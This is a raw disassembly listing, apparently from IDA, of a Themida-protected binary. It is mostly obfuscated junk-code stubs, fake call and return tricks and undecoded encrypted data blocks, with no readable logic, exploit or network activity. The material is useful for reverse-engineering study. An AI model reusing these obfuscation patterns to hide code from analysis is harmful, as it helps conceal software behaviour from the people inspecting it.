		dd 92105A13h, 8166795Ah, 0F52F1CFh, 6AD8B6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B0F7DC3h
		dd 0E42A69BDh, 6BA07h, 0C38B0000h, 1285BD8Bh, 0E8C107E4h
		dd 79B58B04h, 6607E40Fh, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A223BDC3h, 0FE95035h
		dd 54000000h, 87F8CB84h, 0EBD625D6h, 274FF94Fh,	0BD0BA66Ah
		dd 7E42A95h, 0BE66D82Bh, 0E958E8E5h, 0Dh, 0EE6B2DA8h, 0A87FEFAFh
		dd 1CDE30EAh, 0FBBF0F9Dh, 880FD82Bh, 17Eh, 7B9h, 7AC68100h
		dd 8322406Eh, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 9B0D4CC3h, 3BFB8B66h, 47860FD9h
		dd 8B000001h, 0E419FDBDh, 0D98C6607h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 39C35343h, 862C5B45h, 9D8B6082h
		dd 7E4316Dh, 9DB501h, 0F86107E4h, 0F04C1F6h, 0DC84h, 66F78B00h
		dd 95FFFB8Bh, 7E42D91h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C9C35343h, 889D72D1h, 0BD8915EDh, 7E414CDh
		dd 52006A5Bh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 12E8D603h, 43000000h, 838803EFh,	0C74355E0h
		dd 4DFB1280h, 0E290C79h, 3E78124h, 5E775436h, 6E9C32Bh
		dd 0B0000000h, 0DC9EC951h, 5B12BE97h, 343D3D46h, 0F000008h
		dd 5086h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 2EBDB55Fh, 70AA7903h, 2DF1B589h
		dd 4BE907E4h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8BCDC351h, 0E41815B5h
		dd 6AC08B07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3C6BC353h, 7328C0ACh, 0B6DBD89h
		db 0E4h, 7
; ---------------------------------------------------------------------------


loc_5C517A:				; CODE XREF: Themida_:loc_5C4DD3j
		mov	eax, ebx
		mov	ebx, eax
		stc
		mov	dword ptr [ebp+7E43591h], 170DEF19h
		push	0		; CODE XREF: Themida_:005C51EAj
		push	ebp
		call	sub_5C5194
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5194	proc near		; CODE XREF: Themida_:005C518Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h


loc_5C51A1:				; CODE XREF: Themida_:005C51EFj
		inc	ebp
		push	ebp
		retn
sub_5C5194	endp

; ---------------------------------------------------------------------------
		fisttp	word ptr [ecx-1BF0B273h]
		pop	es
		jnp	loc_5C51B5
		mov	di, 6345h


loc_5C51B5:				; CODE XREF: Themida_:005C51ABj
		mov	eax, eax
		push	0
		push	eax
		call	sub_5C51C2
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C51C2	proc near		; CODE XREF: Themida_:005C51BAp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C51C2	endp

; ---------------------------------------------------------------------------
		dw 73E8h
; ---------------------------------------------------------------------------
		push	ds
		jmp	loc_5C51E1
; ---------------------------------------------------------------------------
		dw 6F22h
		dd 0CA1D979Bh
; ---------------------------------------------------------------------------
		scasd


loc_5C51E1:				; CODE XREF: Themida_:005C51D5j
		call	near ptr loc_5C51F8+2
		fmul	st, st(4)
		mov	bl, 3Bh
		jbe	short near ptr loc_5C5189+1
		adc	edx, [ebx+6Fh]
		loop	loc_5C51A1
		or	[edi-21EF69A0h], dl
		cld


loc_5C51F8:				; CODE XREF: Themida_:loc_5C51E1p
		imul	ebx, [edi], 0Bh
		mov	ch, 29h
		push	ds
		in	al, 7		; DMA controller, 8237A-5.
					; channel 3 current word count
		pop	edi
		cmp	dword ptr [ebp+7E42AD5h], 7D0h
		jnz	loc_5C526D
		push	0
		push	ebp
		call	sub_5C521C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C521C	proc near		; CODE XREF: Themida_:005C5214p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5C521C	endp

; ---------------------------------------------------------------------------
		dd 5E836h, 9AF90000h, 89ABF736h, 0E400FD9Dh, 85FF5F07h
		dd 7E42AD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	19C35242h, 0D70B1730h, 899CFAB2h, 0E430ADB5h
; ---------------------------------------------------------------------------
		pop	es


loc_5C526D:				; CODE XREF: Themida_:005C520Bj
		push	dword ptr [ebp+7E42AD5h]
		push	0
		push	ebp
		call	sub_5C527E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C527E	proc near		; CODE XREF: Themida_:005C5276p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C527E	endp

; ---------------------------------------------------------------------------
		and	ecx, [ebx+ebx*2]
		mov	ch, 8Bh
		mov	ebp, 7E4278Dh
		call	dword ptr [ebp+7E40E41h]
		nop
		push	0
		push	edi
		call	sub_5C52AA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C52AA	proc near		; CODE XREF: Themida_:005C52A2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C52AA	endp

; ---------------------------------------------------------------------------
		dw 0DB1Eh
		dd 9582EFBCh, 6A774E95h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 292FC350h, 0E432399Dh
		dd 14E907h, 0FFBA0000h,	0AFA24D1Ah, 0DB0685F3h,	710FFBC4h
		dd 7CA11C22h, 6A1805h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 1F68BBC3h, 0B3BE820Eh, 4D9BD89h
		dd 0BD8B07E4h, 7E42469h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0C3C35545h, 51958906h, 8107E418h, 26FBDFh
		dd 81666032h, 614D92F2h, 8F0Fh,	9D890000h, 7E40089h, 0C5E78166h
		dd 55006AFBh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0E6C3BF61h, 50F28DC2h, 13E805h, 3E070000h
		dd 5539FFAFh, 3542F4D2h, 0B85F5A70h, 5132FAD0h,	0CF815F5Bh
		dd 41F810A3h, 0FFF800E9h, 0BE8FFh, 89190000h, 1F30917Eh
		dd 2971A446h, 159D89F9h
		db 0Bh
byte_5C53C9	db 0E4h, 7, 5Fh		; DATA XREF: Themida_:00582F38o
					; Themida_:00584F6Co
; ---------------------------------------------------------------------------


loc_5C53CC:				; CODE XREF: Themida_:005C4BB0j
		mov	eax, ecx
		movzx	esi, cx
		mov	esi, [ebp+7E43301h]
		jmp	short loc_5C53DD
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_5C53DD:				; CODE XREF: Themida_:005C53D7j
		mov	[ebp+7E43321h],	esi
		jmp	loc_5C53FA
; ---------------------------------------------------------------------------
		dd 0B0C3715Eh, 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h
; ---------------------------------------------------------------------------
		mov	dl, 47h


loc_5C53FA:				; CODE XREF: Themida_:005C53E3j
		lea	eax, [ebp+7E40D85h]
		pusha
		pusha
		jmp	loc_5C540F
; ---------------------------------------------------------------------------
		db 7Ch
		dd 9984321Fh
		db 79h,	70h, 0DEh
; ---------------------------------------------------------------------------


loc_5C540F:				; CODE XREF: Themida_:005C5402j
		ja	$+6
		popa
		mov	edx, 86E31A1h
		popa
		push	eax
		push	edx
		mov	esi, 2CC21C29h
		pop	edi
		mov	[esp], eax
		mov	[ebp+7E40455h],	edi
		push	eax
		mov	edi, [ebp+7E43355h]
		pop	edi
		push	0
		push	0
		push	ebp
		call	sub_5C5442
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5442	proc near		; CODE XREF: Themida_:005C543Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5C5442	endp

; ---------------------------------------------------------------------------
		neg	dword ptr [eax-77h]
		popf
		cmp	eax, 6A07E405h
		add	[esi+250279B8h], bh
		mov	esi, 1DF48B46h
		lea	eax, [ebp+7E83107h]
		push	0
		push	eax
		call	sub_5C5477
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5477	proc near		; CODE XREF: Themida_:005C546Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C5477	endp

; ---------------------------------------------------------------------------
		add	ch, ah
		mov	cl, 0EAh
		pop	edi
		or	[eax+ebx*8-0F48F0FDh], cl
		jnz	loc_5C549C
		movzx	esi, di


loc_5C549C:				; CODE XREF: Themida_:005C5493j
		add	eax, 5
		xor	[ebp+7E41995h],	ecx
		push	eax
		jmp	loc_5C54B6
; ---------------------------------------------------------------------------
		db 8Ah
; ---------------------------------------------------------------------------
		push	ebx
		xor	al, 0DBh
		retn	6630h
; ---------------------------------------------------------------------------
		mov	bl, 35h
		db	67h
		stc


loc_5C54B6:				; CODE XREF: Themida_:005C54A6j
		mov	[esp], eax
		xor	[ebp+7E41BE1h],	edi
		push	0
		push	0
		push	ebx
		call	sub_5C54CC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C54CC	proc near		; CODE XREF: Themida_:005C54C4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5C54CC	endp

; ---------------------------------------------------------------------------
		dd 2627DB77h, 6ACFE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 87C35343h, 41550EC8h,	0CF8163DEh, 65FD6A4Bh
		dd 247195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0A02CBDC3h, 8DE045FCh, 0E7D64B9Dh
		dd 7830F07h, 60000000h,	0B0D98B66h, 0D3FF61F4h,	5CB8D8BFh
		dd 0B985FF72h, 6A07E420h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0E75C350h, 0DA9599B8h
		dd 0B093BF31h, 0AE8h, 88B47900h, 5082E01Ah, 0E9A5B0F5h
		dd 5, 0B6F34A67h, 0CFE95E6Dh, 0E8000008h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E83111h
		mov	[ebp+7E41469h],	edi
		cmp	dword ptr [ebp+7E42AD5h], 7D0h
		jbe	loc_5C579D
		push	0
		push	edx
		call	sub_5C55C4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C55C4	proc near		; CODE XREF: Themida_:005C55BCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C55C4	endp

; ---------------------------------------------------------------------------
		push	edi
		add	[edi], esp
		cmp	al, 0C8h
		mov	ebx, [ebp+7E41AC5h]
		push	0
		push	edx
		call	sub_5C55EA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C55EA	proc near		; CODE XREF: Themida_:005C55E2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C55EA	endp

; ---------------------------------------------------------------------------
		cld
		test	eax, 338349EFh
		push	edx
		jg	loc_5C560F
		push	edi
		jnz	$+6
		pop	esi


loc_5C560F:				; CODE XREF: Themida_:005C5601j
		and	ebx, 100h
		push	0
		push	esi
		call	sub_5C5620
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5620	proc near		; CODE XREF: Themida_:005C5618p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C5620	endp

; ---------------------------------------------------------------------------
		fnstsw	word ptr [esi-72D6408Ch]
		mov	ecx, 0F507E431h
		or	ebx, ebx
		jnz	loc_5C56F6
		push	0
		push	edx
		call	sub_5C564E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C564E	proc near		; CODE XREF: Themida_:005C5646p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5C564E	endp

; ---------------------------------------------------------------------------
		dw 84E9h
		dd 1F32304Eh, 89751368h, 0E42DD58Dh, 4EBD8307h,	7E82Fh
		dd 3D840Fh, 8D290000h, 7E41395h, 0B0E9h, 0DE800h, 0C0100000h
		dd 250CB52Ch, 0A134A1E4h, 0E8924AA4h, 12h, 4AB636FBh, 93EC647Ch
		dd 64654D2Fh, 83694337h, 5FFCA613h, 8D8D895Eh, 0C707E419h
		dd 0E82F4E85h, 107h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0DD204B7h, 0CE7E1C51h
		dd 8DBD0139h, 0E907E41Fh, 45h, 16ADB58Bh
		db 0E4h, 7
; ---------------------------------------------------------------------------


loc_5C56F6:				; CODE XREF: Themida_:005C563Dj
		mov	dword ptr [ebp+7E82F4Eh], 0
		push	0
		push	ebx
		call	sub_5C570B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C570B	proc near		; CODE XREF: Themida_:005C5703p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5C570B	endp

; ---------------------------------------------------------------------------
		jnb	short near ptr loc_5C574B+3
		xchg	eax, ebp
		pop	ebp
		add	al, 0E4h
		pop	es
		jmp	loc_5C5735
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0AB0E26EAh, 0DD8611FEh, 0A7600E2Dh
; ---------------------------------------------------------------------------
		inc	edx


loc_5C5735:				; CODE XREF: Themida_:005C5722j
		lea	ebx, [ebp+7E41AC5h]
		push	0
		push	ecx
		call	sub_5C5746
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5746	proc near		; CODE XREF: Themida_:005C573Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx


loc_5C574B:				; CODE XREF: Themida_:005C571Bj
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C5746	endp

; ---------------------------------------------------------------------------
		dw 7BFEh
; ---------------------------------------------------------------------------
		cmp	edi, [esi+53h]
		sub	ds:8B663DFAh[ebx*2], ch
		sti
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	ecx
		call	sub_5C5774
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5774	proc near		; CODE XREF: Themida_:005C576Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C5774	endp

; ---------------------------------------------------------------------------
		dd 68D0F09h, 89000000h,	0E404D185h, 6850F07h, 8B000000h
		dd 0E430B9BDh
; ---------------------------------------------------------------------------
		pop	es


loc_5C579D:				; CODE XREF: Themida_:005C55B3j
		mov	bx, ds
		push	0
		push	ebp
		call	sub_5C57AB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C57AB	proc near		; CODE XREF: Themida_:005C57A3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C57AB	endp

; ---------------------------------------------------------------------------
		inc	byte ptr [ebx+7E37B9FEh]
		mov	di, cx
		test	bl, 4
		jz	loc_5C57F1
		mov	[ebp+7E41EC1h],	ecx
		call	dword ptr [ebp+7E42D91h]
		or	edi, 25FB3B62h
		nop
		mov	edi, 1D303CAAh
		push	eax
		nop
		and	edi, [ebp+7E41C31h]
		mov	di, 1210h


loc_5C57F1:				; CODE XREF: Themida_:005C57C7j
		jmp	loc_5C5C38
; ---------------------------------------------------------------------------
		dw 8D09h
		dd 7E4159Dh, 0BD3100B0h, 7E422C5h, 0EE970E6h, 55000000h
		dd 3D193232h, 0CCC16018h, 0B2BA78CAh, 6810F5Fh,	9000000h
		dd 0E40A859Dh, 6A71E407h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D136C357h,	60A78241h
		dd 1A58589h, 895207E4h,	0E421F9B5h, 0F615F07h, 6AD8B6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A59B95C3h, 6BAh, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 5AAF332Eh, 23013B74h
		dd 0BD8B5906h, 7E42D95h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F0C17C3h, 89B509F8h
		dd 0F07E425h, 86h, 4E8C100h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 40C35242h, 8B5757C2h, 0E43181BDh
		dd 0F7665E07h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0FEE46F9h, 0D82BF2B7h
		dd 9C18D89h, 9D8907E4h,	7E4186Dh, 8B666050h, 61F98BC7h
		dd 60241C89h, 61F18B66h, 2AD5B5FFh, 860F07E4h, 6, 58C9CF81h
		dd 95FF6378h, 7E40E41h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 93C35040h, 0D05E3A6Ah, 91BD8B60h, 0B007E423h
		dd 9DBD8B00h, 0E607E414h, 57006A70h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 10998D13h
		dd 2C9B169Bh, 8B71E4C6h, 0F613CFBh, 27F83h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 914166Ah, 15F632D1h,	0DE817690h, 1249FFAFh, 6AD8B60Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 49C3C355h, 0E935391Fh, 6,	5E3289A5h, 8589E258h
		dd 7E415D1h, 6BAh, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1504h, 0C3504000h, 820FC294h, 0Dh, 8E9h
		dd 5157EE00h, 0ED48A5C6h, 89C38BD5h, 0E41415BDh, 0E8BE6607h
		dd 4E8C1D9h, 6AE2F766h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0F28C352h, 57830D44h
		dd 0FB8B660Ch, 6AD82Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 44A220C3h, 0AB789176h, 0BE92930h
		dd 0F7000000h, 0C670F1ABh, 0D1662E96h, 6A587851h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 25BEC356h, 0FD82B0Eh, 15788h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 62B562FBh
		dd 7B9h, 0F7816600h, 0C183B18Ah, 79B58B00h, 3B07E402h
		dd 1D860FD9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 7B29C356h, 4CFBB30Ch
		dd 10E9B35Ah, 0AA000000h, 53685F8Ah, 92518B92h,	6BA1E5D1h
		dd 661D5242h, 0F6F8D98Ch, 840F04C1h, 0A2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 0FF2C78BCh
		dd 0E42D9195h, 0F1958907h, 5B07E423h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 3EC35646h, 36808BA3h, 30D8131Dh
		dd 6E9DCh, 3ACC0000h, 0BE62FAA0h, 6AC32Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 26EB7FC3h
		dd 6E9h, 1C240400h, 3DE42DC3h, 834h, 10860Fh, 0AABE0000h
		dd 0E96A298Dh, 3Ch, 89B6D781h, 0C08B0EABh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 34C35040h, 8CF211F2h
		dd 0BD8B35AAh, 7E431D5h, 68E0Fh, 0BD8B0000h, 7E42D61h
; ---------------------------------------------------------------------------


loc_5C5C38:				; CODE XREF: Themida_:loc_5C57F1j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	eax
		call	sub_5C5C47
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5C47	proc near		; CODE XREF: Themida_:005C5C3Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C5C47	endp

; ---------------------------------------------------------------------------
		adc	[edi], eax
		cmp	ebp, [edx-5FF34516h]
		jb	loc_5C5C6C
		ja	loc_5C5C6C
		cld


loc_5C5C6C:				; CODE XREF: Themida_:005C5C5Fj
					; Themida_:005C5C65j
		mov	dword ptr [ebp+7E40965h], 71681151h
		push	0
		push	ecx
		call	sub_5C5C81
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5C81	proc near		; CODE XREF: Themida_:005C5C79p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C5C81	endp

; ---------------------------------------------------------------------------
		mov	dh, 2Bh
		mov	al, 5Bh
		imul	ebp, [ebx-7A763F75h], 7E404D1h
		cmp	dword ptr [ebp+7E42AD5h], 7D0h
		jnz	loc_5C5CE3
		push	0
		push	esi
		call	sub_5C5CBA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5CBA	proc near		; CODE XREF: Themida_:005C5CB2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C5CBA	endp

; ---------------------------------------------------------------------------
		dw 40E3h
		dd 0FF579CB7h, 6694E8D1h, 12B4EE81h, 2AD585FFh,	0B2BE07E4h
; ---------------------------------------------------------------------------
		fnstenv	byte ptr [edi+27h]


loc_5C5CE3:				; CODE XREF: Themida_:005C5CA9j
		push	dword ptr [ebp+7E42AD5h]
		push	0
		push	edx
		call	sub_5C5CF4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5CF4	proc near		; CODE XREF: Themida_:005C5CECp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C5CF4	endp

; ---------------------------------------------------------------------------
		imul	ecx, [edi], 61h
		sub	[ebp+7E431C5h],	ecx
		call	dword ptr [ebp+7E40E41h]
		jmp	loc_5C5D22
; ---------------------------------------------------------------------------
		dd 0ECC6163Ch, 2F5534F5h
		db 0BFh, 81h
; ---------------------------------------------------------------------------


loc_5C5D22:				; CODE XREF: Themida_:005C5D13j
		nop
		xor	[ebp+7E40BA5h],	esi
		jle	loc_5C5D34
		mov	esi, 4AD87B76h


loc_5C5D34:				; CODE XREF: Themida_:005C5D29j
		sub	[ebp+7E403C5h],	ecx
		push	0
		push	esi
		call	sub_5C5D45
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5D45	proc near		; CODE XREF: Themida_:005C5D3Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C5D45	endp

; ---------------------------------------------------------------------------
		db 7Ch,	92h, 6Eh
		dd 8817F742h, 0CE8h, 0C7C1FD00h, 0EFD7BEBEh, 0A43D4D77h
		dd 82EEBFE6h, 295F1279h, 0E4307DB5h, 0F8BF0F07h, 0FF7BF0Fh
		dd 68Eh, 31B58900h, 8907E41Fh, 0E40EE1BDh, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 61A3DCEAh, 34D70DD0h, 0FDB5234Fh, 8B07E42Ah,	5B503FBh
		dd 0BE07E40Ah, 6222BEA3h, 0D558589h, 0F9F907E4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h, 89772531h
		dd 0E41AB5B5h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 22880F4Dh, 60000000h
		dd 0BE8h, 99CB100h, 4791549h, 0B13DC8ACh, 2958535Bh, 0E421018Dh
		dd 3161F507h, 0E4042185h, 75BD8B07h, 0E907E40Bh, 0FFFFF753h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F5C35141h
		dd 0A12E2BD4h, 2AE98D5Eh, 3E000000h, 49AB69h, 9	dup(0)
		dd 58AE900h, 8D650000h,	0E8C1D76Bh, 421E34C8h, 9F7E9428h
		dd 6E1F78Bh, 777D56EAh,	53E703DEh, 0B145633Dh, 13A7BD9Bh
		dd 740820FDh, 0EF9411C1h, 6B13AA9Ah, 79569726h,	805B2961h
		dd 0DDBAD064h, 0E2BF8DC5h, 6CA4B897h, 4D6B45D1h, 0C542A4F4h
		dd 1442A03Eh, 17688861h, 44D69CAEh, 0A09E65E2h,	0CC3C1442h
		dd 0D6919A00h, 8D9FF8F4h, 427A9A73h, 48809674h,	0FA869C7Ah
		dd 15CC041Eh, 0D653063Eh, 14423C21h, 0C9EB44ADh, 4825184Ch
		dd 0A8869C30h, 0AE8FE92h, 14EEBCF4h, 2E08A6F6h,	8138FE10h
		dd 0A583FAAAh, 0AF21FB8Fh, 0BD9B3170h, 224147A7h, 0C7A45BD8h
		dd 0C9321442h, 67445E70h, 8561FF4Fh, 0E693596Bh, 1442C714h
		dd 0BA90B09h, 0D6AD182Ch, 841442C7h, 386C091Bh,	5BAA7B84h
		dd 50AB1DE0h, 42709FC6h, 0BEFD9CAEh, 1D000000h,	548CA07Fh
		dd 92D2A7B9h, 9FB39230h, 9A61CC67h, 381442A0h, 4FA8BE9Ch
		dd 2E46233Dh, 0A0B449F6h, 0B06D1442h, 1137C8F4h, 0DA0E05Ch
		dd 0C0000000h, 8726F24Eh, 88648889h, 2E03156Eh,	4E2A7D56h
		dd 861FC34h, 0C2A03ED0h, 0A7809AACh, 35C53787h,	0E0F2B89Ch
		dd 2C09EE6Bh, 5CC51442h, 5D2BF103h, 7C1A6A7Eh, 804E86A0h
		dd 21338CA2h, 90B18D5Bh, 0CBC9B2B0h, 0CC045D77h, 0B9426C2Ah
		dd 0CC58A7E6h, 1922CEF1h, 0FD428FB7h, 8B086CA4h, 6D8964DBh
		dd 1F419A35h, 0D8E5C361h, 42ECA45Bh, 70C93214h,	758D6A38h
		dd 396D0A1Ch, 0B94D6D46h, 1AAEC6A3h, 0DC90CE40h, 3CBB2525h
		dd 0D9EB4462h, 5F7B5604h, 69805927h, 42A017ECh,	0B047C414h
		dd 1E1442A0h, 0A2FB64B5h, 23632C6Ah, 0B145613Ch, 7B9FBE9Bh
		dd 38D3B258h, 14A6DE37h, 467E9C76h, 0A37F99ABh,	0A9835189h
		dd 0A685538Bh, 0CCA35A92h, 6F80D898h, 0B3A88737h, 986DE05Bh
		dd 96000000h, 275F7B56h, 13637D59h, 2EFAF3A1h, 0C1D33F77h
		dd 38502DFBh, 86745E00h, 0C9797729h, 1048603Dh,	3B772FACh
		dd 75E89C19h, 902E7E9Ah, 698B9DB1h, 50297853h, 2EC7BC39h
		dd 2A931442h, 724078D1h, 331B7893h, 0BEFBB604h,	98771565h
		dd 0FF1FF884h, 541A2CC7h, 0C1FDA9BAh, 0E05C016Eh, 69A8F668h
		dd 579A3D8Dh, 5CA645h, 54C60000h, 9880D4DFh, 6F896549h
		dd 562F0416h, 59275F7Bh, 0AF16E7Bh, 0C81442A0h,	0A014EB68h
		dd 59C21442h, 8E6FA700h, 9E45B0Bh, 568859EDh, 6F0D5D7Dh
		dd 536B4891h, 0C727801Bh, 0E421679Ah, 4E142678h, 4219DFA1h
		dd 5F07C414h, 8B9F7E1Ch, 0CBA6B853h, 0E05B5834h, 1A1h
		dd 7A56CA00h, 7D5A2860h, 0E4A31565h, 0C88123A9h, 21EFB5C7h
